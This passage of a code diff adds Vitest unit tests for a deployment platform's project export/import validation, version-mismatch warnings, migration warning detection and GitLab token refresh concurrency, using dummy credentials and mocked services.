expect(registryCheck?.ok).toBe(false);
|
||||
expect(registryCheck?.detail).not.toContain("realregistrypass123");
|
||||
expect(registryCheck?.detail).toContain("login attempt failed");
|
||||
|
||||
const destinationCheck = checks.find((c) =>
|
||||
c.check.startsWith("destination:"),
|
||||
);
|
||||
expect(destinationCheck?.ok).toBe(false);
|
||||
expect(destinationCheck?.detail).not.toContain("realsecretkey456");
|
||||
expect(destinationCheck?.detail).toContain("bucket does not exist");
|
||||
});
|
||||
});
|
||||
|
||||
describe("validatePlan checks each appName against its own destination server (T-5.13)", () => {
|
||||
it("probes two services' appNames against their own distinct destination servers, not the same one for both", async () => {
|
||||
const snapshotWithTwoApps: Snapshot = {
|
||||
...snapshot,
|
||||
resources: {
|
||||
...snapshot.resources,
|
||||
services: [
|
||||
{
|
||||
kind: "application",
|
||||
applicationId: "app-1",
|
||||
appName: "app-one-old",
|
||||
serverId: "server-src-1",
|
||||
},
|
||||
{
|
||||
kind: "application",
|
||||
applicationId: "app-2",
|
||||
appName: "app-two-old",
|
||||
serverId: "server-src-2",
|
||||
},
|
||||
],
|
||||
},
|
||||
requirements: [
|
||||
{
|
||||
kind: "server",
|
||||
originalId: "server-src-1",
|
||||
configIncluded: false,
|
||||
usedBy: [
|
||||
{
|
||||
serviceId: "app-1",
|
||||
serviceType: "application",
|
||||
serviceName: "app-one",
|
||||
environmentId: "env-1",
|
||||
field: "serverId",
|
||||
},
|
||||
],
|
||||
},
|
||||
{
|
||||
kind: "server",
|
||||
originalId: "server-src-2",
|
||||
configIncluded: false,
|
||||
usedBy: [
|
||||
{
|
||||
serviceId: "app-2",
|
||||
serviceType: "application",
|
||||
serviceName: "app-two",
|
||||
environmentId: "env-1",
|
||||
field: "serverId",
|
||||
},
|
||||
],
|
||||
},
|
||||
],
|
||||
};
|
||||
const planWithTwoApps: Plan = {
|
||||
...basePlan,
|
||||
resolutions: {},
|
||||
serverMap: {
|
||||
"server-src-1": "server-dest-1",
|
||||
"server-src-2": "server-dest-2",
|
||||
},
|
||||
appNameMap: {
|
||||
"app-one-old": "app-one-new",
|
||||
"app-two-old": "app-two-new",
|
||||
},
|
||||
};
|
||||
|
||||
const probed: { appName: string; serverId: string | null }[] = [];
|
||||
await validatePlan(
|
||||
fakeDb,
|
||||
snapshotWithTwoApps,
|
||||
planWithTwoApps,
|
||||
"org-dest",
|
||||
{
|
||||
checkAppNameAvailable: async (appName, serverId) => {
|
||||
probed.push({ appName, serverId });
|
||||
return true;
|
||||
},
|
||||
},
|
||||
);
|
||||
|
||||
expect(probed).toContainEqual({
|
||||
appName: "app-one-new",
|
||||
serverId: "server-dest-1",
|
||||
});
|
||||
expect(probed).toContainEqual({
|
||||
appName: "app-two-new",
|
||||
serverId: "server-dest-2",
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
describe("validatePlan blocks an unresolved server requirement (T-6.9)", () => {
|
||||
const serverRequirement: Requirement = {
|
||||
kind: "server",
|
||||
originalId: "server-src-1",
|
||||
configIncluded: false,
|
||||
usedBy: [
|
||||
{
|
||||
serviceId: "app-1",
|
||||
serviceType: "application",
|
||||
serviceName: "my-app",
|
||||
environmentId: "env-1",
|
||||
},
|
||||
],
|
||||
};
|
||||
|
||||
it("fails the check when the server requirement's resolution is 'skip'", async () => {
|
||||
const snapshotWithServer: Snapshot = {
|
||||
...snapshot,
|
||||
requirements: [serverRequirement],
|
||||
};
|
||||
const planWithSkippedServer: Plan = {
|
||||
...basePlan,
|
||||
resolutions: {
|
||||
"server:server-src-1": {
|
||||
requirementKey: "server:server-src-1",
|
||||
action: "skip",
|
||||
},
|
||||
},
|
||||
};
|
||||
|
||||
const checks = await validatePlan(
|
||||
fakeDb,
|
||||
snapshotWithServer,
|
||||
planWithSkippedServer,
|
||||
"org-dest",
|
||||
);
|
||||
|
||||
const serverCheck = checks.find(
|
||||
(c) => c.check === "serverResolution:server-src-1",
|
||||
);
|
||||
expect(serverCheck?.ok).toBe(false);
|
||||
});
|
||||
|
||||
it("fails the check when the server requirement has no resolution at all", async () => {
|
||||
const snapshotWithServer: Snapshot = {
|
||||
...snapshot,
|
||||
requirements: [serverRequirement],
|
||||
};
|
||||
const planWithNoResolution: Plan = {
|
||||
...basePlan,
|
||||
resolutions: {},
|
||||
};
|
||||
|
||||
const checks = await validatePlan(
|
||||
fakeDb,
|
||||
snapshotWithServer,
|
||||
planWithNoResolution,
|
||||
"org-dest",
|
||||
);
|
||||
|
||||
const serverCheck = checks.find(
|
||||
(c) => c.check === "serverResolution:server-src-1",
|
||||
);
|
||||
expect(serverCheck?.ok).toBe(false);
|
||||
});
|
||||
|
||||
it("passes the check when the server requirement is resolved (reuse, incl. explicit local)", async () => {
|
||||
const snapshotWithServer: Snapshot = {
|
||||
...snapshot,
|
||||
requirements: [serverRequirement],
|
||||
};
|
||||
const planResolved: Plan = {
|
||||
...basePlan,
|
||||
resolutions: {
|
||||
"server:server-src-1": {
|
||||
requirementKey: "server:server-src-1",
|
||||
action: "reuse",
|
||||
targetId: "server-dest-1",
|
||||
},
|
||||
},
|
||||
};
|
||||
|
||||
const checks = await validatePlan(
|
||||
fakeDb,
|
||||
snapshotWithServer,
|
||||
planResolved,
|
||||
"org-dest",
|
||||
);
|
||||
|
||||
const serverCheck = checks.find(
|
||||
(c) => c.check === "serverResolution:server-src-1",
|
||||
);
|
||||
expect(serverCheck?.ok).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe("validatePlan checks vault/registry/destination reuse targets belong to the caller's org (T-6.12)", () => {
|
||||
const crossOrgDb = {
|
||||
query: {
|
||||
vaultProvider: {
|
||||
findFirst: async () => ({
|
||||
vaultProviderId: "vault-dest-1",
|
||||
config: {
|
||||
providerType: "hashicorp",
|
||||
url: "https://vault",
|
||||
token: "t",
|
||||
},
|
||||
organizationId: "org-OTHER",
|
||||
}),
|
||||
},
|
||||
registry: {
|
||||
findFirst: async () => ({
|
||||
registryId: "registry-dest-1",
|
||||
registryUrl: "registry.example.com",
|
||||
username: "user",
|
||||
password: "realregistrypass123",
|
||||
organizationId: "org-OTHER",
|
||||
}),
|
||||
},
|
||||
destinations: {
|
||||
findFirst: async () => ({
|
||||
destinationId: "destination-dest-1",
|
||||
accessKey: "key",
|
||||
secretAccessKey: "realsecretkey456",
|
||||
bucket: "mybucket",
|
||||
region: "us-east-1",
|
||||
endpoint: "https://s3.example.com",
|
||||
organizationId: "org-OTHER",
|
||||
}),
|
||||
},
|
||||
},
|
||||
} as any as TransferDb;
|
||||
|
||||
it("fails the registry/destination checks without ever calling the live connection test, when the resolved row belongs to another org", async () => {
|
||||
const { testRegistryConnection } = await import(
|
||||
"@dokploy/server/services/registry"
|
||||
);
|
||||
const { testDestinationConnection } = await import(
|
||||
"@dokploy/server/services/destination"
|
||||
);
|
||||
(testRegistryConnection as any).mockClear();
|
||||
(testDestinationConnection as any).mockClear();
|
||||
|
||||
const checks = await validatePlan(
|
||||
crossOrgDb,
|
||||
snapshot,
|
||||
basePlan,
|
||||
"org-dest",
|
||||
);
|
||||
|
||||
const registryCheck = checks.find((c) => c.check.startsWith("registry:"));
|
||||
expect(registryCheck?.ok).toBe(false);
|
||||
expect(registryCheck?.detail).toContain("Not found in this organization");
|
||||
expect(testRegistryConnection).not.toHaveBeenCalled();
|
||||
|
||||
const destinationCheck = checks.find((c) =>
|
||||
c.check.startsWith("destination:"),
|
||||
);
|
||||
expect(destinationCheck?.ok).toBe(false);
|
||||
expect(destinationCheck?.detail).toContain(
|
||||
"Not found in this organization",
|
||||
);
|
||||
expect(testDestinationConnection).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("fails the vault check without calling testVaultProviderConnection, when the resolved row belongs to another org", async () => {
|
||||
const { testVaultProviderConnection } = await import(
|
||||
"@dokploy/server/services/vault-provider"
|
||||
);
|
||||
(testVaultProviderConnection as any).mockClear();
|
||||
|
||||
const planWithVault: Plan = {
|
||||
...basePlan,
|
||||
resolutions: {
|
||||
"vault:vault-src": {
|
||||
requirementKey: "vault:vault-src",
|
||||
action: "reuse",
|
||||
targetId: "vault-dest-1",
|
||||
},
|
||||
},
|
||||
};
|
||||
|
||||
const checks = await validatePlan(
|
||||
crossOrgDb,
|
||||
snapshot,
|
||||
planWithVault,
|
||||
"org-dest",
|
||||
);
|
||||
|
||||
const vaultCheck = checks.find((c) => c.check.startsWith("vault:"));
|
||||
expect(vaultCheck?.ok).toBe(false);
|
||||
expect(vaultCheck?.detail).toContain("Not found in this organization");
|
||||
expect(testVaultProviderConnection).not.toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
|
||||
describe("validatePlan checks that each server in plan.serverMap belongs to the caller's org (T-9.3)", () => {
|
||||
it("fails the check without ever calling execAsyncRemote, for a server belonging to another org", async () => {
|
||||
const { execAsyncRemote } = await import(
|
||||
"@dokploy/server/utils/process/execAsync"
|
||||
);
|
||||
(execAsyncRemote as any).mockClear();
|
||||
|
||||
const crossOrgServerDb = {
|
||||
query: {
|
||||
...(fakeDb as any).query,
|
||||
server: {
|
||||
findFirst: async () => ({
|
||||
serverId: "server-other-org",
|
||||
organizationId: "org-OTHER",
|
||||
}),
|
||||
},
|
||||
},
|
||||
} as any as TransferDb;
|
||||
|
||||
const planWithServer: Plan = {
|
||||
...basePlan,
|
||||
resolutions: {},
|
||||
serverMap: { "server-src-1": "server-other-org" },
|
||||
};
|
||||
|
||||
const checks = await validatePlan(
|
||||
crossOrgServerDb,
|
||||
snapshot,
|
||||
planWithServer,
|
||||
"org-dest",
|
||||
);
|
||||
|
||||
const serverCheck = checks.find(
|
||||
(c) => c.check === "server:server-other-org",
|
||||
);
|
||||
expect(serverCheck?.ok).toBe(false);
|
||||
expect(serverCheck?.detail).toContain("Not found in this organization");
|
||||
expect(execAsyncRemote).not.toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
|
||||
describe("validatePlan fails the check when a reuse target no longer exists (T-9.4)", () => {
|
||||
it("fails the registry check (not ok:true) when the target row doesn't exist at all", async () => {
|
||||
const missingRowDb = {
|
||||
query: {
|
||||
...(fakeDb as any).query,
|
||||
registry: { findFirst: async () => undefined },
|
||||
},
|
||||
} as any as TransferDb;
|
||||
|
||||
const checks = await validatePlan(
|
||||
missingRowDb,
|
||||
snapshot,
|
||||
basePlan,
|
||||
"org-dest",
|
||||
);
|
||||
|
||||
const registryCheck = checks.find((c) => c.check.startsWith("registry:"));
|
||||
expect(registryCheck?.ok).toBe(false);
|
||||
expect(registryCheck?.detail).toContain("Not found in this organization");
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,179 @@
|
||||
import type {
|
||||
ExportScope,
|
||||
InstanceVersions,
|
||||
SourceInstance,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import {
|
||||
collectDockerVersions,
|
||||
compareDockerVersions,
|
||||
compareInstanceVersions,
|
||||
isPinnedImage,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
const destination: InstanceVersions = {
|
||||
dokployVersion: "v0.30.6",
|
||||
releaseTag: "latest",
|
||||
isCloud: false,
|
||||
traefikVersion: "3.6.25",
|
||||
nodeVersion: "v22.0.0",
|
||||
};
|
||||
|
||||
const source = (overrides: Partial<SourceInstance>): SourceInstance => ({
|
||||
dokployVersion: "v0.30.6",
|
||||
organizationId: "org-src",
|
||||
releaseTag: "latest",
|
||||
isCloud: false,
|
||||
traefikVersion: "3.6.25",
|
||||
...overrides,
|
||||
});
|
||||
|
||||
const codesOf = (warnings: { code: string; severity: string }[]) =>
|
||||
warnings.map((w) => `${w.code}:${w.severity}`);
|
||||
|
||||
describe("compareInstanceVersions", () => {
|
||||
it("is silent when everything matches", () => {
|
||||
expect(compareInstanceVersions(source({}), destination)).toEqual([]);
|
||||
});
|
||||
|
||||
it("warns when the bundle comes from a newer Dokploy", () => {
|
||||
const warnings = compareInstanceVersions(
|
||||
source({ dokployVersion: "v0.31.0" }),
|
||||
destination,
|
||||
);
|
||||
expect(codesOf(warnings)).toEqual(["DOKPLOY_VERSION_MISMATCH:warning"]);
|
||||
});
|
||||
|
||||
it("only informs when the bundle comes from an older Dokploy", () => {
|
||||
const warnings = compareInstanceVersions(
|
||||
source({ dokployVersion: "v0.29.0" }),
|
||||
destination,
|
||||
);
|
||||
expect(codesOf(warnings)).toEqual(["DOKPLOY_VERSION_MISMATCH:info"]);
|
||||
});
|
||||
|
||||
it("informs when versions are not comparable but differ", () => {
|
||||
const warnings = compareInstanceVersions(
|
||||
source({ dokployVersion: "canary", releaseTag: "canary" }),
|
||||
destination,
|
||||
);
|
||||
expect(codesOf(warnings)).toEqual(["DOKPLOY_VERSION_MISMATCH:info"]);
|
||||
expect(warnings[0]?.message).toContain("can't be compared");
|
||||
});
|
||||
|
||||
it("flags cloud to self-hosted and traefik differences", () => {
|
||||
const warnings = compareInstanceVersions(
|
||||
source({ isCloud: true, traefikVersion: "3.4.0" }),
|
||||
destination,
|
||||
);
|
||||
expect(codesOf(warnings)).toEqual([
|
||||
"INSTANCE_KIND_MISMATCH:info",
|
||||
"TRAEFIK_VERSION_MISMATCH:info",
|
||||
]);
|
||||
});
|
||||
|
||||
it("ignores fields an older bundle does not carry", () => {
|
||||
const warnings = compareInstanceVersions(
|
||||
{ dokployVersion: "v0.30.6", organizationId: "org-src" },
|
||||
destination,
|
||||
);
|
||||
expect(warnings).toEqual([]);
|
||||
});
|
||||
});
|
||||
|
||||
describe("compareDockerVersions", () => {
|
||||
it("reports a different major version", () => {
|
||||
expect(compareDockerVersions("26.1.0", "27.0.1")).toContain(
|
||||
"different major version",
|
||||
);
|
||||
});
|
||||
|
||||
it("accepts the same major version", () => {
|
||||
expect(compareDockerVersions("27.0.1", "27.3.0")).toBeUndefined();
|
||||
});
|
||||
|
||||
it("is silent without a source version", () => {
|
||||
expect(compareDockerVersions(undefined, "27.0.1")).toBeUndefined();
|
||||
});
|
||||
});
|
||||
|
||||
describe("isPinnedImage", () => {
|
||||
it.each([
|
||||
["postgres:17", true],
|
||||
["ghcr.io/org/app:v1.2.3", true],
|
||||
["registry:5000/org/app@sha256:abc", true],
|
||||
["postgres", false],
|
||||
["postgres:latest", false],
|
||||
["registry:5000/org/app", false],
|
||||
])("%s → %s", (image, pinned) => {
|
||||
expect(isPinnedImage(image)).toBe(pinned);
|
||||
});
|
||||
});
|
||||
|
||||
describe("collectDockerVersions", () => {
|
||||
const scope: ExportScope = {
|
||||
includeEnvSecrets: true,
|
||||
shared: {},
|
||||
files: {
|
||||
applicationSources: true,
|
||||
composeFiles: true,
|
||||
traefikRaw: true,
|
||||
customCertificates: true,
|
||||
},
|
||||
dumps: { mode: "none" },
|
||||
includeBackupSchedules: true,
|
||||
};
|
||||
|
||||
const tree = {
|
||||
projectId: "project-1",
|
||||
name: "p",
|
||||
organizationId: "org-1",
|
||||
env: "",
|
||||
environments: [
|
||||
{
|
||||
environmentId: "env-1",
|
||||
name: "production",
|
||||
env: "",
|
||||
applications: [
|
||||
{ applicationId: "app-1", appName: "app-one", serverId: null },
|
||||
{ applicationId: "app-2", appName: "app-two", serverId: "srv-1" },
|
||||
],
|
||||
compose: [],
|
||||
postgres: [
|
||||
{ postgresId: "pg-1", appName: "pg-one", serverId: "srv-1" },
|
||||
],
|
||||
mysql: [],
|
||||
mariadb: [],
|
||||
mongo: [],
|
||||
redis: [],
|
||||
libsql: [],
|
||||
},
|
||||
],
|
||||
};
|
||||
|
||||
it("probes each distinct server once and keys local as 'local'", async () => {
|
||||
const probed: (string | null)[] = [];
|
||||
const versions = await collectDockerVersions(
|
||||
tree as never,
|
||||
scope,
|
||||
async (serverId) => {
|
||||
probed.push(serverId);
|
||||
return serverId ? "26.1.0" : "27.0.1";
|
||||
},
|
||||
);
|
||||
expect(probed).toEqual([null, "srv-1"]);
|
||||
expect(versions).toEqual({ local: "27.0.1", "srv-1": "26.1.0" });
|
||||
});
|
||||
|
||||
it("skips servers whose probe fails", async () => {
|
||||
const versions = await collectDockerVersions(
|
||||
tree as never,
|
||||
scope,
|
||||
async (serverId) => {
|
||||
if (serverId) throw new Error("ssh down");
|
||||
return "27.0.1";
|
||||
},
|
||||
);
|
||||
expect(versions).toEqual({ local: "27.0.1" });
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,281 @@
|
||||
import type { ExportScope } from "@dokploy/server/services/project-export-import";
|
||||
import { detectWarnings } from "@dokploy/server/services/project-export-import";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
const baseScope: ExportScope = {
|
||||
includeEnvSecrets: true,
|
||||
shared: {},
|
||||
files: {
|
||||
applicationSources: true,
|
||||
composeFiles: true,
|
||||
traefikRaw: true,
|
||||
customCertificates: true,
|
||||
},
|
||||
dumps: { mode: "none" },
|
||||
includeBackupSchedules: true,
|
||||
};
|
||||
|
||||
const baseApplication = {
|
||||
applicationId: "app-1",
|
||||
name: "app-1",
|
||||
appName: "app-one",
|
||||
mounts: [],
|
||||
domains: [],
|
||||
isPreviewDeploymentsActive: false,
|
||||
sourceType: "github",
|
||||
autoDeploy: false,
|
||||
};
|
||||
|
||||
const baseCompose = {
|
||||
composeId: "compose-1",
|
||||
name: "compose-1",
|
||||
appName: "compose-one",
|
||||
composeFile: "services: {}",
|
||||
mounts: [],
|
||||
domains: [],
|
||||
autoDeploy: false,
|
||||
};
|
||||
|
||||
const emptyServiceArrays = {
|
||||
mysql: [],
|
||||
mariadb: [],
|
||||
mongo: [],
|
||||
libsql: [],
|
||||
};
|
||||
|
||||
const buildTree = (overrides: {
|
||||
applications?: Record<string, unknown>[];
|
||||
compose?: Record<string, unknown>[];
|
||||
postgres?: Record<string, unknown>[];
|
||||
redis?: Record<string, unknown>[];
|
||||
}) => ({
|
||||
projectId: "project-1",
|
||||
name: "my-project",
|
||||
organizationId: "org-1",
|
||||
env: "",
|
||||
environments: [
|
||||
{
|
||||
environmentId: "env-1",
|
||||
name: "production",
|
||||
env: "",
|
||||
applications: overrides.applications ?? [],
|
||||
compose: overrides.compose ?? [],
|
||||
postgres: overrides.postgres ?? [],
|
||||
redis: overrides.redis ?? [],
|
||||
...emptyServiceArrays,
|
||||
},
|
||||
],
|
||||
});
|
||||
|
||||
const codesOf = (warnings: { code: string }[]) => warnings.map((w) => w.code);
|
||||
|
||||
describe("detectWarnings", () => {
|
||||
it("IMAGE_TAG_NOT_PINNED for a database on a floating tag, not for a pinned one", () => {
|
||||
const tree = buildTree({
|
||||
postgres: [
|
||||
{
|
||||
postgresId: "pg-1",
|
||||
name: "pg",
|
||||
appName: "pg-one",
|
||||
dockerImage: "postgres:latest",
|
||||
mounts: [],
|
||||
},
|
||||
{
|
||||
postgresId: "pg-2",
|
||||
name: "pg2",
|
||||
appName: "pg-two",
|
||||
dockerImage: "postgres:17",
|
||||
mounts: [],
|
||||
},
|
||||
],
|
||||
applications: [
|
||||
{ ...baseApplication, sourceType: "docker", dockerImage: "nginx" },
|
||||
],
|
||||
});
|
||||
const warnings = detectWarnings(tree as any, baseScope).filter(
|
||||
(w) => w.code === "IMAGE_TAG_NOT_PINNED",
|
||||
);
|
||||
expect(warnings.map((w) => w.affected[0]?.serviceId).sort()).toEqual([
|
||||
"app-1",
|
||||
"pg-1",
|
||||
]);
|
||||
});
|
||||
|
||||
it("ABSOLUTE_HOST_PATH_MOUNT for a bind mount with an absolute host path", () => {
|
||||
const tree = buildTree({
|
||||
applications: [
|
||||
{
|
||||
...baseApplication,
|
||||
mounts: [
|
||||
{
|
||||
mountId: "mount-1",
|
||||
type: "bind",
|
||||
hostPath: "/var/data",
|
||||
mountPath: "/data",
|
||||
},
|
||||
],
|
||||
},
|
||||
],
|
||||
});
|
||||
const warnings = detectWarnings(tree as any, baseScope);
|
||||
expect(codesOf(warnings)).toContain("ABSOLUTE_HOST_PATH_MOUNT");
|
||||
});
|
||||
|
||||
it("MANUAL_VOLUME_NAME for a volume mount with an explicit volumeName", () => {
|
||||
const tree = buildTree({
|
||||
applications: [
|
||||
{
|
||||
...baseApplication,
|
||||
mounts: [
|
||||
{
|
||||
mountId: "mount-1",
|
||||
type: "volume",
|
||||
volumeName: "my-custom-volume",
|
||||
mountPath: "/data",
|
||||
},
|
||||
],
|
||||
},
|
||||
],
|
||||
});
|
||||
const warnings = detectWarnings(tree as any, baseScope);
|
||||
expect(codesOf(warnings)).toContain("MANUAL_VOLUME_NAME");
|
||||
});
|
||||
|
||||
it("does not warn about a volume name that embeds the service's own appName", () => {
|
||||
const tree = buildTree({
|
||||
applications: [
|
||||
{
|
||||
...baseApplication,
|
||||
mounts: [
|
||||
{
|
||||
mountId: "mount-1",
|
||||
type: "volume",
|
||||
volumeName: `${baseApplication.appName}-data`,
|
||||
mountPath: "/data",
|
||||
},
|
||||
],
|
||||
},
|
||||
],
|
||||
});
|
||||
const warnings = detectWarnings(tree as any, baseScope);
|
||||
expect(codesOf(warnings)).not.toContain("MANUAL_VOLUME_NAME");
|
||||
});
|
||||
|
||||
it("does not warn about a bind mount with a relative path or an auto volume name", () => {
|
||||
const tree = buildTree({
|
||||
applications: [
|
||||
{
|
||||
...baseApplication,
|
||||
mounts: [
|
||||
{
|
||||
mountId: "m1",
|
||||
type: "bind",
|
||||
hostPath: "relative",
|
||||
mountPath: "/a",
|
||||
},
|
||||
{
|
||||
mountId: "m2",
|
||||
type: "volume",
|
||||
volumeName: null,
|
||||
mountPath: "/b",
|
||||
},
|
||||
],
|
||||
},
|
||||
],
|
||||
});
|
||||
const warnings = detectWarnings(tree as any, baseScope);
|
||||
expect(codesOf(warnings)).not.toContain("ABSOLUTE_HOST_PATH_MOUNT");
|
||||
expect(codesOf(warnings)).not.toContain("MANUAL_VOLUME_NAME");
|
||||
});
|
||||
|
||||
it("APPNAME_IN_COMPOSE_FILE when the compose file references its own appName", () => {
|
||||
const tree = buildTree({
|
||||
compose: [
|
||||
{
|
||||
...baseCompose,
|
||||
appName: "compose-one",
|
||||
composeFile: "networks:\n compose-one-net:\n external: true",
|
||||
},
|
||||
],
|
||||
});
|
||||
const warnings = detectWarnings(tree as any, baseScope);
|
||||
expect(codesOf(warnings)).toContain("APPNAME_IN_COMPOSE_FILE");
|
||||
});
|
||||
|
||||
it("PREVIEW_DEPLOYMENTS_DROPPED when preview deployments are active", () => {
|
||||
const tree = buildTree({
|
||||
applications: [{ ...baseApplication, isPreviewDeploymentsActive: true }],
|
||||
});
|
||||
const warnings = detectWarnings(tree as any, baseScope);
|
||||
expect(codesOf(warnings)).toContain("PREVIEW_DEPLOYMENTS_DROPPED");
|
||||
});
|
||||
|
||||
it("LETSENCRYPT_CERTS_NOT_EXPORTED for a domain with a letsencrypt certificate", () => {
|
||||
const tree = buildTree({
|
||||
applications: [
|
||||
{
|
||||
...baseApplication,
|
||||
domains: [
|
||||
{
|
||||
domainId: "dom-1",
|
||||
host: "app.example.com",
|
||||
certificateType: "letsencrypt",
|
||||
},
|
||||
],
|
||||
},
|
||||
],
|
||||
});
|
||||
const warnings = detectWarnings(tree as any, baseScope);
|
||||
expect(codesOf(warnings)).toContain("LETSENCRYPT_CERTS_NOT_EXPORTED");
|
||||
});
|
||||
|
||||
it("REDIS_NO_DUMP for every redis service in scope", () => {
|
||||
const tree = buildTree({
|
||||
redis: [{ redisId: "redis-1", name: "redis-1", mounts: [] }],
|
||||
});
|
||||
const warnings = detectWarnings(tree as any, baseScope);
|
||||
expect(codesOf(warnings)).toContain("REDIS_NO_DUMP");
|
||||
});
|
||||
|
||||
it("WEBHOOK_TOKEN_REGENERATED for a service with autoDeploy enabled", () => {
|
||||
const tree = buildTree({
|
||||
applications: [{ ...baseApplication, autoDeploy: true }],
|
||||
});
|
||||
const warnings = detectWarnings(tree as any, baseScope);
|
||||
expect(codesOf(warnings)).toContain("WEBHOOK_TOKEN_REGENERATED");
|
||||
});
|
||||
|
||||
it("DROP_SOURCE_NOT_EXPORTED when a drop-source app is excluded from files", () => {
|
||||
const tree = buildTree({
|
||||
applications: [{ ...baseApplication, sourceType: "drop" }],
|
||||
});
|
||||
const warnings = detectWarnings(tree as any, {
|
||||
...baseScope,
|
||||
files: { ...baseScope.files, applicationSources: false },
|
||||
});
|
||||
expect(codesOf(warnings)).toContain("DROP_SOURCE_NOT_EXPORTED");
|
||||
});
|
||||
|
||||
it("does not warn DROP_SOURCE_NOT_EXPORTED when applicationSources is included", () => {
|
||||
const tree = buildTree({
|
||||
applications: [{ ...baseApplication, sourceType: "drop" }],
|
||||
});
|
||||
const warnings = detectWarnings(tree as any, baseScope);
|
||||
expect(codesOf(warnings)).not.toContain("DROP_SOURCE_NOT_EXPORTED");
|
||||
});
|
||||
|
||||
it("only inspects services within scope", () => {
|
||||
const included = { ...baseApplication, applicationId: "app-included" };
|
||||
const excluded = {
|
||||
...baseApplication,
|
||||
applicationId: "app-excluded",
|
||||
autoDeploy: true,
|
||||
};
|
||||
const tree = buildTree({ applications: [included, excluded] });
|
||||
const warnings = detectWarnings(tree as any, {
|
||||
...baseScope,
|
||||
serviceIds: ["app-included"],
|
||||
});
|
||||
expect(codesOf(warnings)).not.toContain("WEBHOOK_TOKEN_REGENERATED");
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,99 @@
|
||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
const store = vi.hoisted(() => ({
|
||||
provider: {} as Record<string, unknown>,
|
||||
}));
|
||||
|
||||
vi.mock("@dokploy/server/services/gitlab", () => ({
|
||||
findGitlabById: vi.fn(async () => ({ ...store.provider })),
|
||||
updateGitlab: vi.fn(async (_id: string, values: Record<string, unknown>) => {
|
||||
store.provider = { ...store.provider, ...values };
|
||||
}),
|
||||
}));
|
||||
|
||||
const { refreshGitlabToken } = await import(
|
||||
"@dokploy/server/utils/providers/gitlab"
|
||||
);
|
||||
|
||||
const GITLAB_ID = "gitlab-1";
|
||||
|
||||
// Behaves like GitLab: a refresh returns a new pair and invalidates the refresh token it used
|
||||
const createGitlab = () => {
|
||||
let validRefreshToken = "refresh-1";
|
||||
let issued = 1;
|
||||
let failNext = false;
|
||||
|
||||
const fetch = vi.fn(async (_url: string, init: RequestInit) => {
|
||||
const body = new URLSearchParams(init.body as string);
|
||||
// Keeps the request open, so concurrent callers overlap as two deployments do
|
||||
await new Promise((resolve) => setTimeout(resolve, 20));
|
||||
|
||||
if (failNext) {
|
||||
failNext = false;
|
||||
return new Response(null, {
|
||||
status: 500,
|
||||
statusText: "Internal Server Error",
|
||||
});
|
||||
}
|
||||
|
||||
if (body.get("refresh_token") !== validRefreshToken) {
|
||||
return new Response(null, { status: 400, statusText: "Bad Request" });
|
||||
}
|
||||
|
||||
issued++;
|
||||
validRefreshToken = `refresh-${issued}`;
|
||||
return Response.json({
|
||||
access_token: `access-${issued}`,
|
||||
refresh_token: validRefreshToken,
|
||||
expires_in: 7200,
|
||||
});
|
||||
});
|
||||
|
||||
return {
|
||||
fetch,
|
||||
failNextRequest: () => {
|
||||
failNext = true;
|
||||
},
|
||||
};
|
||||
};
|
||||
|
||||
describe("refreshGitlabToken", () => {
|
||||
let gitlab: ReturnType<typeof createGitlab>;
|
||||
|
||||
beforeEach(() => {
|
||||
store.provider = {
|
||||
gitlabId: GITLAB_ID,
|
||||
gitlabUrl: "https://gitlab.example.com",
|
||||
gitlabInternalUrl: null,
|
||||
applicationId: "app-id",
|
||||
secret: "app-secret",
|
||||
accessToken: "access-1",
|
||||
refreshToken: "refresh-1",
|
||||
expiresAt: 0,
|
||||
};
|
||||
gitlab = createGitlab();
|
||||
vi.stubGlobal("fetch", gitlab.fetch);
|
||||
});
|
||||
|
||||
it("sends one refresh request when two callers find the token expired at the same time", async () => {
|
||||
await Promise.all([
|
||||
refreshGitlabToken(GITLAB_ID),
|
||||
refreshGitlabToken(GITLAB_ID),
|
||||
]);
|
||||
|
||||
expect(gitlab.fetch).toHaveBeenCalledTimes(1);
|
||||
expect(store.provider.refreshToken).toBe("refresh-2");
|
||||
});
|
||||
|
||||
it("refreshes again after a failed refresh", async () => {
|
||||
gitlab.failNextRequest();
|
||||
|
||||
await expect(refreshGitlabToken(GITLAB_ID)).rejects.toThrow(
|
||||
"Failed to refresh token: Internal Server Error",
|
||||
);
|
||||
await refreshGitlabToken(GITLAB_ID);
|
||||
|
||||
expect(gitlab.fetch).toHaveBeenCalledTimes(2);
|
||||
expect(store.provider.refreshToken).toBe("refresh-2");
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,56 @@
|
||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
const mocks = vi.hoisted(() => ({
|
||||
findOwnedOrganizations: vi.fn(),
|
||||
transaction: vi.fn(),
|
||||
removeVectorAgents: vi.fn(),
|
||||
calls: [] as string[],
|
||||
}));
|
||||
|
||||
vi.mock("@dokploy/server/db", () => ({
|
||||
db: {
|
||||
query: { organization: { findMany: mocks.findOwnedOrganizations } },
|
||||
transaction: mocks.transaction,
|
||||
},
|
||||
}));
|
||||
vi.mock("@dokploy/server/services/organization", () => ({
|
||||
removeVectorAgents: mocks.removeVectorAgents,
|
||||
}));
|
||||
|
||||
const { deleteUserAccountData } = await import(
|
||||
"@dokploy/server/services/account-deletion"
|
||||
);
|
||||
|
||||
beforeEach(() => {
|
||||
mocks.calls.length = 0;
|
||||
mocks.findOwnedOrganizations.mockReset();
|
||||
mocks.removeVectorAgents
|
||||
.mockReset()
|
||||
.mockImplementation(async (id: string) => mocks.calls.push(`agents:${id}`));
|
||||
mocks.transaction.mockReset().mockImplementation(async () => {
|
||||
mocks.calls.push("delete");
|
||||
return { email: "a@b.c", organizationsDeleted: 2 };
|
||||
});
|
||||
});
|
||||
|
||||
describe("deleteUserAccountData", () => {
|
||||
